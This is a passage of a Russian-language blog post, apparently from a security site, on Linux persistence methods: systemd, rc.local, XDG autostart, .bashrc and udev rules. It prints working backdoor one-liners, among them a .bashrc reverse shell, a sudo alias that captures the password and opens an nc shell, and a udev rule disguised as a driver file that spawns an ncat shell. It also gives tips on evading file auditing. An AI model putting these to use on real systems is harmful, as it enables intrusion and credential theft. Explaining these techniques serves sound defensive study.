systemd \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043c\u043d\u043e\u0433\u043e \u0438 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435, \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0432\u0430\u0448\u0438\u0445 \u0446\u0435\u043b\u0435\u0439: service, device, target, mount, automount, timer, socket, path, slice.<\/p>\n<p><strong>\u0410\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 rc.local \u0438 rc.common<\/strong><\/p>\n<p>\u042d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0443\u0436\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f. \u0412 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 Unix-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u044d\u0442\u043e\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u0431\u044b\u043b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u0430\u043c\u0435\u043d\u0435\u043d&nbsp;<code>systemd<\/code>, \u043d\u043e \u043c\u0430\u0442\u0440\u0438\u0446\u0430&nbsp;<a href=\"https:\/\/attack.mitre.org\/techniques\/T1037\/004\/\" rel=\"noopener noreferrer nofollow\">MITRE ATT&amp;CK<\/a>&nbsp;\u0432\u044b\u0434\u0435\u043b\u0430\u0435\u0442 RC-\u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u043a\u043e\u0434 \u0432&nbsp;<code>\/etc\/rc.local<\/code>. \u0427\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.<\/p>\n<p>\u0414\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445&nbsp;<code>systemd<\/code>, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440&nbsp;<code>\/usr\/lib\/systemd\/system-generators\/systemd-sysv-generator<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043b\u044f RC-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0438\u0437&nbsp;<code>\/etc\/init.d<\/code>&nbsp;\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 unit-\u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043b\u0435\u0442\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0438\u0445 \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u044b. \u041e\u043d\u0438 \u0438 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u0432&nbsp;<code>\/run\/systemd\/system\/<\/code>.<\/p>\n<p><strong>\u041e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 &#8212; XDG autostart<\/strong><\/p>\n<p>\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0439 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0441\u0442\u043e\u043b\u043e\u0432 (desktop environments) \u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u043e\u0432 \u043e\u043a\u043e\u043d (windows managers) \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 \u0430\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c (XDG autostart). \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432&nbsp;<code>~\/.config\/autostart<\/code>&nbsp;\u0438\u043b\u0438&nbsp;<code>\/etc\/xdg\/autostart\/<\/code>&nbsp;\u0438 \u0438\u043c\u0435\u044e\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 *.desktop. \u041a\u043e\u0434, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u0432 \u044d\u0442\u0438\u0445 \u0444\u0430\u0439\u043b\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0440\u0435\u0434\u044b \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430. \u041a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0437\u0430\u043b\u043e\u0433\u0438\u043d\u0435\u0432\u0448\u0435\u0433\u043e\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041c\u043e\u0436\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b. \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0443\u0442\u0438&nbsp;<code>~\/.config\/autostart<\/code>&nbsp;\u0438&nbsp;<code>\/etc\/xdg\/autostart\/<\/code>&nbsp;\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c\u0438 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f&nbsp;<code>$XDG_CONFIG_HOME<\/code>&nbsp;\u0438&nbsp;<code>$XDG_CONFIG_DIRS<\/code>, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0435\u0441\u043b\u0438 \u0434\u043b\u044f \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0430\u0443\u0434\u0438\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c.<\/p>\n<pre><code>[Desktop Entry] Type=Application # \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0442\u0438\u043f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438: \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (application), \u0441\u0441\u044b\u043b\u043a\u0430 (link) \u0438\u043b\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 (directory) Name=Welcome&nbsp; # \u0418\u043c\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0435 \u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u0435\u043c \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 Exec=\/var\/lib\/gnome-welcome-tour&nbsp; # \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c<\/code><\/pre>\n<p><strong>.bashrc, .bash_profile \u0438&nbsp; .bash_login<\/strong><\/p>\n<p>\u042d\u0442\u0438 \u0444\u0430\u0439\u043b\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0432 \u043d\u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430. \u0423 \u0444\u0430\u0439\u043b\u043e\u0432 \u0435\u0441\u0442\u044c \u0438 \u043e\u0431\u0449\u0435\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0430\u043d\u0430\u043b\u043e\u0433\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \/etc\/. \u0424\u0430\u0439\u043b&nbsp;<code>.bash_profile<\/code>&nbsp;\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a.&nbsp;<code>.bashrc<\/code>&nbsp;&#8212; \u0434\u043b\u044f \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0438 \u043d\u0435\u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445. \u0412 Ubuntu \u0444\u0430\u0439\u043b&nbsp;<code>profile<\/code>&nbsp;\u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b&nbsp;<code>.bashrc<\/code>&nbsp;\u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e. \u0424\u0430\u0439\u043b&nbsp;<code>.bash_login<\/code>&nbsp;\u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f, \u0435\u0441\u043b\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0435\u0441\u0442\u044c&nbsp;<code>.bashrc<\/code>. \u041d\u0443 \u0438\u043b\u0438 \u043a\u0430\u043a-\u0442\u043e \u0442\u0430\u043a. \u041d\u0435 \u0441\u0443\u0442\u044c.<\/p>\n<p>\u0421\u0443\u0442\u044c \u0432 \u0442\u043e\u043c, \u043a\u0430\u043a \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0444\u0430\u0439\u043b\u044b \u0438 \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0434\u0435\u043b\u0430\u0442\u044c.&nbsp;<\/p>\n<p><code>echo 'bash -i &gt;&amp; \/dev\/tcp\/ip\/port 0&gt;&amp;1' &gt; ~\/.bashrc<\/code>&nbsp;&#8212; \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f \u043f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043e\u0442\u043a\u0440\u043e\u0435\u0442 \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b, \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0438\u043c\u0435\u0442\u044c \u043e\u0436\u0438\u0434\u0430\u044e\u0449\u0438\u0439 listener, \u0433\u0434\u0435 \u043d\u0430\u0434\u043e.<\/p>\n<p>\u041e\u0434\u0438\u043d \u043c\u043e\u0439 \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0439 \u043d\u0430 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0437\u0430\u0434\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0432\u043e\u043f\u0440\u043e\u0441: &#171;\u041c\u043e\u0436\u0435\u0442 \u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0441\u043c\u0435\u043d\u044b \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u0442\u044c 10 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432&#187;. \u041e\u0442\u0432\u0435\u0442: &#171;\u0414\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u0433\u043e\u0434\u043d\u043e, \u0435\u0441\u043b\u0438 \u043f\u043e\u0432\u0435\u0441\u0438\u0442\u044c alias&#187;. \u0415\u0441\u043b\u0438 \u0440\u0430\u0437\u0432\u0438\u0442\u044c \u0442\u0435\u043c\u0443, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u0442\u044c \u0438 \u043a\u0430\u043a \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u043c\u0430\u043d\u0434. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c backconnect, \u043f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 sudo.&nbsp;<\/p>\n<pre><code class=\"bash\">alias sudo='echo -n \"[sudo] password for \\$USER: \";read -s pwd;echo; unalias sudo; echo \"\\$pwd\" | \/usr\/bin\/sudo -S nohup nc -lvp 1234 -e \/bin\/bash &gt; \/dev\/null &amp;&amp; \/usr\/bin\/sudo -S '<\/code><\/pre>\n<p>\u0421\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u0442\u0430\u043a\u043e\u0439 \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u0440\u043e\u0436\u0438\u0432\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u0434\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430, \u043f\u043e\u043a\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u043e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c&nbsp;<code>.bashrc<\/code>. \u0425\u043e\u0442\u044f \u043a\u043e\u0435-\u0433\u0434\u0435 \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u0441\u0443\u043f\u0435\u0440 \u0441\u043a\u0440\u044b\u0442\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0430\u0434\u043c\u0438\u043d\u044b \u043e\u0447\u0435\u043d\u044c \u0440\u0435\u0434\u043a\u043e \u043f\u0435\u0440\u0435\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0442 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.&nbsp;<\/p>\n<p>\u0422\u043e \u043b\u0438 \u0434\u0435\u043b\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0442\u0435\u043c \u0431\u043e\u043b\u0435\u0435, \u0435\u0441\u043b\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0434\u043b\u044f \u0447\u0435\u0433\u043e-\u0442\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435. \u041f\u043e\u0434\u0443\u043c\u0430\u0435\u0448\u044c, \u043e\u0434\u043d\u043e\u0439 \u0431\u043e\u043b\u044c\u0448\u0435 &#8212; \u043e\u0434\u043d\u043e\u0439 \u043c\u0435\u043d\u044c\u0448\u0435. \u041f\u0438\u0448\u0435\u043c \u0432 \u0444\u0430\u0439\u043b .bashrc&nbsp;<code>export PATH=$PATH:\/opt\/local\/bin<\/code>&nbsp;&#8212; \u0430 \u043f\u043e\u0442\u043e\u043c \u0432 \/opt\/local\/bin \u043a\u043b\u0430\u0434\u0435\u043c \u043d\u0430\u0448 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439&nbsp;<code>ls<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043d\u0430 \u04212, \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u0441\u043e\u0441\u0442\u0430\u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438. \u0422\u0430\u043a \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f PATH \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441 \u043a\u043e\u043d\u0446\u0430, \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u043d\u0430\u0448 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439&nbsp;<code>ls<\/code>, \u0430 \u043d\u0435 \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439. Spoiler: \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437&nbsp;<code>.bashrc<\/code>. \u041d\u0443 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439, \u0432\u0441\u0435\u0433\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043a\u043b\u0430\u0434\u043a\u0443 \u0432 \u0441\u0430\u043c\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u043c \u0444\u0430\u0439\u043b\u0435. \u041a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u0440\u0430\u0432\u0434\u0430, \u043a\u0430\u043d\u0435\u0442 \u0432 \u043b\u0435\u0442\u0443 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c.<\/p>\n<h4>Driver backdoor<\/h4>\n<p>\u0424\u0438\u043b\u043e\u0441\u043e\u0444\u0438\u044f UNIX \u0433\u043b\u0430\u0441\u0438\u0442, \u0447\u0442\u043e \u0432\u0441\u0435 \u0435\u0441\u0442\u044c \u0444\u0430\u0439\u043b. \u0410 \u0437\u043d\u0430\u0447\u0438\u0442 \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0442\u043e\u0436\u0435. \u0412 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0435\u0441\u0442\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433&nbsp;<code>\/etc\/udev\/rules.d\/<\/code>, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0418\u0437\u043c\u0435\u043d\u044f\u044f \u044d\u0442\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e, \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043d\u0435\u043c\u0443, \u043d\u043e \u0441\u0430\u043c\u043e\u0435 \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 &#8212; \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.<\/p>\n<pre><code class=\"bash\">RSHELL=\"ncat ncat -lvp 1234 -e \\\"\/bin\/bash -c id;\/bin\/bash\\\" 2&gt;\/dev\/null\" echo \"ACTION==\\\"add\\\",ENV{DEVTYPE}==\\\"usb_device\\\",SUBSYSTEM==\\\"usb\\\",RUN+=\\\"$RSHELL\\\"\" | tee \/etc\/udev\/rules.d\/71-vbox-kernel-drivers.rules &gt; \/dev\/null<\/code><\/pre>\n<p>\u041a\u0430\u043a \u0432\u044b \u043c\u043e\u0433\u043b\u0438<\/p>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-326615","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/326615","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=326615"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/326615\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=326615"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=326615"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=326615"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}